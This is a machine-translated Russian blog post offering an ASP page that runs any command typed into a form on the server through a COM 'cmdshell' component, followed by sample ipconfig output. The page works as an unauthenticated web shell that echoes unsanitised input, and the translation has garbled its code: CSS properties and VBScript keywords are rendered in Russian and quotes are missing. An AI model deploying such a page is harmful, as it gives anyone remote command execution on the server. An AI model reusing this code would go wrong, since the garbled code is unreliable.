Иногда, когда мы управляем сервером, мы отключаем хост сценариев Windows для безопасности. Но что, если мы хотим отключить WSH и использовать нашу собственную веб -машину для управления управлением сервером? Вот компонентное программирование, которое реализует CMD в ASP и отображаемые результаты. Надеюсь помочь всем.
|||
<!-
.singleborder {
Граница: 1px твердый;
фоновый цвет: #000000;
Семейство шрифта: Arial, Helvetica, Sans-Serif;
Цвет: #ffffff;
}
.noborder {
Граница: 1px Нет;
фоновый цвет: #000000;
Семейство шрифта: Arial, Helvetica, Sans-Serif;
Цвет: #ffffff;
}
Body {Foanle-Color: #000000; Цвет: #000000;
Файм-семья: фиксированная часть;
->
</style>
<Form action = method = post>
<name name = cmd class = value value = <%= request.form (cmd)%> size = 102>
<input type = отправить класс = value value = execute>
</form>
<%
Если запрос.form (cmd) <> Then
SET TESTME = server.createObject (aspcmd.cmdshell)
%>
<div class = noborder> <%= request.form (cmd)%> </div> <br>
<textarea cols = 120 Rows = 30 Class = Noborder>
<%= testme.exec1 (request.form (cmd))%> </textarea>
<% Set testme = ничего
конец, если
%>
Ниже приведен результат запуска ipconfig /all:
Конфигурация IP Windows 2000
Имя хоста .........: IBM-WRK-02
Первичный суффикс DNS .......:
Тип узла ..........: трансляция
IP -маршрутизация включена .......: нет
выигрывает прокси включен .......: нет
Адаптер Ethernet локальный соединение:
Суффикс DNS-специфический для подключения. ::
Описание ...........: Intel (R) Pro/100 VM -соединение
Физический адрес ........: 008-02-BD-D7-EB
DHCP включен .........: нет
IP -адрес ........ ..: 192.168.0.4
Маска подсети .........: 255.255.255.0
шлюз по умолчанию .........: 192.168.0.1
DNS -серверы .........: 202.106.196.115